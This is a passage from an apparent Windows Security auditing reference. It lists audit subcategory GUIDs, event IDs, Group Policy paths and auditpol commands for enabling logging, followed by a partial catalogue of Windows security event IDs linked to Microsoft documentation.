learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-removable-storage)\n\n#### SAM\n\n- Subcategory GUID: `{0CCE9220-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High on domain controllers`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4661\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit SAM\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9220-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9220-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-sam)\n\n#### Central Access Policy Staging\n\n- Subcategory GUID: `{0CCE9246-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4818\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Audit Central Access Policy Staging\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9246-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9246-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-central-access-policy-staging)\n\n### Policy Change\n\n#### Audit Policy Change\n\n- Subcategory GUID: `{0CCE922F-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4715\n - 4719\n - 4817\n - 4902\n - 4906\n - 4907\n - 4908\n - 4912\n - 4904\n - 4905\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit Audit Policy Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922F-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922F-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-audit-policy-change)\n\n#### Authentication Policy Change\n\n- Subcategory GUID: `{0CCE9230-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4670\n - 4706\n - 4707\n - 4716\n - 4713\n - 4717\n - 4718\n - 4739\n - 4864\n - 4865\n - 4866\n - 4867\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit Authentication Policy Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9230-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9230-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-authentication-policy-change)\n\n#### Authorization Policy Change\n\n- Subcategory GUID: `{0CCE9231-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium to High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4703\n - 4704\n - 4705\n - 4670\n - 4911\n - 4913\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit Authorization Policy Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9231-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9231-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-authorization-policy-change)\n\n#### Filtering Platform Policy Change\n\n- Subcategory GUID: `{0CCE9233-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4709\n - 4710\n - 4711\n - 4712\n - 5040\n - 5041\n - 5042\n - 5043\n - 5044\n - 5045\n - 5046\n - 5047\n - 5048\n - 5440\n - 5441\n - 5442\n - 5443\n - 5444\n - 5446\n - 5448\n - 5449\n - 5450\n - 5456\n - 5457\n - 5458\n - 5459\n - 5460\n - 5461\n - 5462\n - 5463\n - 5464\n - 5465\n - 5466\n - 5467\n - 5468\n - 5471\n - 5472\n - 5473\n - 5474\n - 5477\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit Filtering Platform Policy Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9233-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9233-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-filtering-platform-policy-change)\n\n#### MPSSVC Rule-Level Policy Change\n\n- Subcategory GUID: `{0CCE9232-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4944\n - 4945\n - 4946\n - 4947\n - 4948\n - 4949\n - 4950\n - 4951\n - 4952\n - 4953\n - 4954\n - 4956\n - 4957\n - 4958\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit MPSSVC Rule-Level Policy Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9232-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9232-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-mpssvc-rule-level-policy-change)\n\n#### Other Policy Change Events\n\n- Subcategory GUID: `{0CCE9234-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium to High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4714\n - 4819\n - 4826\n - 4909\n - 4910\n - 5063\n - 5064\n - 5065\n - 5066\n - 5067\n - 5068\n - 5069\n - 5070\n - 5447\n - 6144\n - 6145\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Policy Change\n - Audit Other Policy Change Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9234-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9234-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-policy-change-events)\n\n### Privilege Use\n\n#### Non Sensitive Privilege Use\n\n- Subcategory GUID: `{0CCE9229-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Very High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4673\n - 4674\n - 4985\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Privilege Use\n - Audit Non Sensitive Privilege Use\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9229-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9229-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-non-sensitive-privilege-use)\n\n#### Other Privilege Use Events\n\n- Subcategory GUID: `{0CCE922A-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: TBD\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4985\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Privilege Use\n - Audit Other Privilege Use Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE922A-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE922A-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-privilege-use-events)\n\n#### Sensitive Privilege Use\n\n- Subcategory GUID: `{0CCE9228-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `High`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4673, 4674, 4985\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - Object Access\n - Privilege Use\n - Audit Sensitive Privilege Use\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9228-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9228-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-sensitive-privilege-use)\n\n### System\n\n#### IPsec Driver\n\n- Subcategory GUID: `{0CCE9213-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Medium`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4960\n - 4961\n - 4962\n - 4963\n - 4965\n - 5478\n - 5479\n - 5480\n - 5483\n - 5484\n - 5485\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - System\n - Audit IPsec Driver\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9213-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9213-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-ipsec-driver)\n\n#### Other System Events\n\n- Subcategory GUID: `{0CCE9214-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 5024\n - 5025\n - 5027\n - 5028\n - 5029\n - 5030\n - 5032\n - 5033\n - 5034\n - 5035\n - 5037\n - 5058\n - 5059\n - 6400\n - 6401\n - 6402\n - 6403\n - 6404\n - 6405\n - 6406\n - 6407\n - 6408\n - 6409\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - System\n - Audit Other System Events\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9214-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9214-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-system-events)\n\n#### Security State Change\n\n- Subcategory GUID: `{0CCE9210-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4608\n - 4616\n - 4621\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - System\n - Audit Security State Change\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9210-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9210-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-security-state-change)\n\n#### Security System Extension\n\n- Subcategory GUID: `{0CCE9211-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4610\n - 4611\n - 4614\n - 4622\n - 4697\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - System\n - Audit Security System Extension\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9211-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9211-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-security-system-extension)\n\n#### System Integrity\n\n- Subcategory GUID: `{0CCE9212-69AE-11D9-BED3-505054503030}`\n- Provider: `Microsoft Windows Security Auditing`\n- Channel: `Security`\n- Event Volume: `Low`\n- API Mapping: [Learn More](https://github.com/jsecurity101/TelemetrySource/tree/main/Microsoft-Windows-Security-Auditing)\n- EventID(s):\n - 4612\n - 4615\n - 4618\n - 4816\n - 5038\n - 5056\n - 5062\n - 5057\n - 5060\n - 5061\n - 6281\n - 6410\n\nIf you're using `gpedit.msc` or similar you can enable logging for this category by following the structure below\n\n```yml\n- Computer Configuration\n - Windows Settings\n - Security Settings\n - Advanced Audit Policy Configuration\n - System Audit Policies - Local Group Policy Object\n - System\n - Audit System Integrity\n - Success and Failure\n```\n\nAlternatively you can enable logging via `auditpol` using the following command(s):\n\n```powershell\n# Enable Success audit Only\nauditpol /set /subcategory:{0CCE9212-69AE-11D9-BED3-505054503030}, /success:enable\n\n# Enable both Success and Failure auditing\nauditpol /set /subcategory:{0CCE9212-69AE-11D9-BED3-505054503030}, /success:enable /failure:enable\n```\n\nIf you want to learn more about this sub-category. You can do so via MSDN - [Learn More](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-system-integrity)\n\n### Global Object Access Auditing\n\nTBD\n\n## Full Event(s) List\n\n\n Expand Full List
\n\n- [1100: The event logging service has shut down.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-1100)\n- [1102: The audit log was cleared.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-1102)\n- [1104: The security log is now full.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-1104)\n- [1105: Event log automatic backup.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-1105)\n- [1108: The event logging service encountered an error while processing an incoming event published from %1](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-1108)\n- [4608: Windows is starting up.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4608)\n- [4610: An authentication package has been loaded by the Local Security Authority.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4610)\n- [4611: A trusted logon process has been registered with the Local Security Authority.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4611)\n- [4612: Internal resources allocated for the queuing of audit messages have been exhausted, leading to the loss of some audits.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4612)\n- [4614: A notification package has been loaded by the Security Account Manager.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4614)\n- [4615: Invalid use of LPC port.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4615)\n- [4616: The system time was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4616)\n- [4618: A monitored security event pattern has occurred.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4618)\n- [4621: Administrator recovered system from CrashOnAuditFail.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4621)\n- [4622: A security package has been loaded by the Local Security Authority.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4622)\n- [4624: An account was successfully logged on.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624)\n- [4625: An account failed to log on.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625)\n- [4625: An account failed to log on.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625)\n- [4626: User/Device claims information.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4626)\n- [4627: Group membership information.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4627)\n- [4634: An account was logged off.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4634)\n- [4646: Security ID: %1](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4646)\n- [4647: User initiated logoff.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4647)\n- [4648: A logon was attempted using explicit credentials.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4648)\n- [4649: A replay attack was detected.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4649)\n- [4650: An IPsec Main Mode security association was established. Extended Mode was not enabled. Certificate authentication was not used.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4650)\n- [4651: An IPsec Main Mode security association was established. Extended Mode was not enabled. A certificate was used for authentication.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4651)\n- [4652: An IPsec Main Mode negotiation failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4652)\n- [4653: An IPsec Main Mode negotiation failed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4653)\n- [4655: An IPsec Main Mode security association ended.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4655)\n- [4656: A handle to an object was requested.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4656)\n- [4657: A registry value was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4657)\n- [4658: The handle to an object was closed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4658)\n- [4660: An object was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4660)\n- [4661: A handle to an object was requested.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4661)\n- [4662: An operation was performed on an object.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662)\n- [4663: An attempt was made to access an object.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4663)\n- [4664: An attempt was made to create a hard link.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4664)\n- [4665: An attempt was made to create an application client context.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4665)\n- [4666: An application attempted an operation.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4666)\n- [4667: An application client context was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4667)\n- [4668: An application was initialized.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4668)\n- [4670: Permissions on an object were changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4670)\n- [4671: An application attempted to access a blocked ordinal through the TBS.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4671)\n- [4672: Special privileges assigned to new logon.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672)\n- [4673: A privileged service was called.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4673)\n- [4674: An operation was attempted on a privileged object.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4674)\n- [4675: SIDs were filtered.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4675)\n- [4688: A new process has been created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4688)\n- [4689: A process has exited.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4689)\n- [4690: An attempt was made to duplicate a handle to an object.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4690)\n- [4691: Indirect access to an object was requested.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4691)\n- [4692: Backup of data protection master key was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4692)\n- [4693: Recovery of data protection master key was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4693)\n- [4694: Protection of auditable protected data was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4694)\n- [4695: Unprotection of auditable protected data was attempted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4695)\n- [4696: A primary token was assigned to process.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4696)\n- [4697: A service was installed in the system.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697)\n- [4698: A scheduled task was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698)\n- [4699: A scheduled task was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699)\n- [4700: A scheduled task was enabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4700)\n- [4701: A scheduled task was disabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4701)\n- [4702: A scheduled task was updated.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4702)\n- [4703: A user right was adjusted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4703)\n- [4703: A user right was adjusted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4703)\n- [4704: A user right was assigned.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4704)\n- [4705: A user right was removed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4705)\n- [4706: A new trust was created to a domain.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4706)\n- [4707: A trust to a domain was removed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4707)\n- [4709: IPsec Services was started.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4709)\n- [4710: IPsec Services was disabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4710)\n- [4711: May contain any one of the following:](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4711)\n- [4712: IPsec Services encountered a potentially serious failure.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4712)\n- [4713: Kerberos policy was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4713)\n- [4714: Encrypted data recovery policy was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4714)\n- [4715: The audit policy (SACL) on an object was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715)\n- [4716: Trusted domain information was modified.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4716)\n- [4717: System security access was granted to an account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4717)\n- [4718: System security access was removed from an account.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4718)\n- [4719: System audit policy was changed.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4719)\n- [4720: A user account was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720)\n- [4722: A user account was enabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4722)\n- [4723: An attempt was made to change an account's password.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4723)\n- [4724: An attempt was made to reset an account's password.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4724)\n- [4725: A user account was disabled.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4725)\n- [4726: A user account was deleted.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4726)\n- [4727: A security-enabled global group was created.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4727)\n- 4728: A member was added to a security-enabled global group\n- [4729: A member was removed from a security-enabled global group.](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4729)\n- [4730: A security-enabled global group was 